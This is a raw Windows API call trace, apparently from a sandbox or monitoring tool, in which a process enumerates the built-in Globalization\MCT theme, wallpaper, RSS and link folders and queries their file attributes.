	[0086.728] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Link\\GB-1.url" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\link\\gb-1.url"), fInfoLevelId=0x0, lpFileInformation=0x125016d8 | out: lpFileInformation=0x125016d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a3fe5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x22a3fe5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x86)) returned 1
	[0086.730] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Link\\GB-2.url" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\link\\gb-2.url"), fInfoLevelId=0x0, lpFileInformation=0x12501728 | out: lpFileInformation=0x12501728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a3fe5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x22a3fe5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x86)) returned 1
	[0086.730] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Link\\GB-3.url" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\link\\gb-3.url"), fInfoLevelId=0x0, lpFileInformation=0x12501778 | out: lpFileInformation=0x12501778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a3fe5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x22a3fe5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x86)) returned 1
	[0086.731] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Link\\desktop.ini" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\link\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x125017c8 | out: lpFileInformation=0x125017c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x2b2290d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x2b2290d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x106)) returned 1
	[0086.731] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\RSSFeed" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\rssfeed"), fInfoLevelId=0x0, lpFileInformation=0x12501818 | out: lpFileInformation=0x12501818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x53f7c5d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.732] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\RSSFeed" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\rssfeed"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.732] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\RSSFeed\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x53f7c5d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.732] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x53f7c5d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.732] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-rss1.ini", cAlternateFileName="")) returned 1
	[0086.732] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.732] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.732] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\RSSFeed\\GB-rss1.ini" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\rssfeed\\gb-rss1.ini"), fInfoLevelId=0x0, lpFileInformation=0x125018b8 | out: lpFileInformation=0x125018b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xa0)) returned 1
	[0086.732] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Theme" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\theme"), fInfoLevelId=0x0, lpFileInformation=0x12501908 | out: lpFileInformation=0x12501908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x541dec5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.733] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Theme" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\theme"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.733] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Theme\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x541dec5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x541dec5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB.theme", cAlternateFileName="")) returned 1
	[0086.733] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.733] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.733] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Theme\\GB.theme" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\theme\\gb.theme"), fInfoLevelId=0x0, lpFileInformation=0x125019a8 | out: lpFileInformation=0x125019a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x97f)) returned 1
	[0086.733] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Wallpaper" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\wallpaper"), fInfoLevelId=0x0, lpFileInformation=0x125019f8 | out: lpFileInformation=0x125019f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x541dec5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.734] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Wallpaper" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\wallpaper"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.734] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Wallpaper\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x541dec5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.735] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x541dec5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.735] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x541dec5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x2b2290d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x2b2290d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0086.735] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x5a67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-wp1.jpg", cAlternateFileName="")) returned 1
	[0086.735] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x834cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-wp2.jpg", cAlternateFileName="")) returned 1
	[0086.735] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xaf5d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-wp3.jpg", cAlternateFileName="")) returned 1
	[0086.735] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ee79, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-wp4.jpg", cAlternateFileName="")) returned 1
	[0086.735] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x9c10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-wp5.jpg", cAlternateFileName="")) returned 1
	[0086.735] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xa6851, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-wp6.jpg", cAlternateFileName="")) returned 1
	[0086.735] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.735] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.736] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Wallpaper\\GB-wp1.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\wallpaper\\gb-wp1.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12501c78 | out: lpFileInformation=0x12501c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x5a67b)) returned 1
	[0086.738] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Wallpaper\\GB-wp2.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\wallpaper\\gb-wp2.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12501cc8 | out: lpFileInformation=0x12501cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x834cf)) returned 1
	[0086.738] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Wallpaper\\GB-wp3.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\wallpaper\\gb-wp3.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12501d18 | out: lpFileInformation=0x12501d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xaf5d1)) returned 1
	[0086.738] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Wallpaper\\GB-wp4.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\wallpaper\\gb-wp4.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12501d68 | out: lpFileInformation=0x12501d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ee79)) returned 1
	[0086.739] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Wallpaper\\GB-wp5.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\wallpaper\\gb-wp5.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12501db8 | out: lpFileInformation=0x12501db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x9c10b)) returned 1
	[0086.739] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Wallpaper\\GB-wp6.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\wallpaper\\gb-wp6.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12501e08 | out: lpFileInformation=0x12501e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227dd7d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x22f04b5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x227dd7d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0xa6851)) returned 1
	[0086.739] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Wallpaper\\desktop.ini" (normalized: "c:\\windows\\globalization\\mct\\mct-gb\\wallpaper\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x12501e58 | out: lpFileInformation=0x12501e58*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x541dec5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x2b2290d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x2b2290d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x52)) returned 1
	[0086.739] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US" (normalized: "c:\\windows\\globalization\\mct\\mct-us"), fInfoLevelId=0x0, lpFileInformation=0x12501ea8 | out: lpFileInformation=0x12501ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x11ac464d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.739] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US" (normalized: "c:\\windows\\globalization\\mct\\mct-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.739] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x11ac464d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.740] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x11ac464d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.740] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12211c35, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Link", cAlternateFileName="")) returned 1
	[0086.740] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12237e9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeed", cAlternateFileName="")) returned 1
	[0086.740] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12211c35, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme", cAlternateFileName="")) returned 1
	[0086.740] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12237e9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallpaper", cAlternateFileName="WALLPA~1")) returned 1
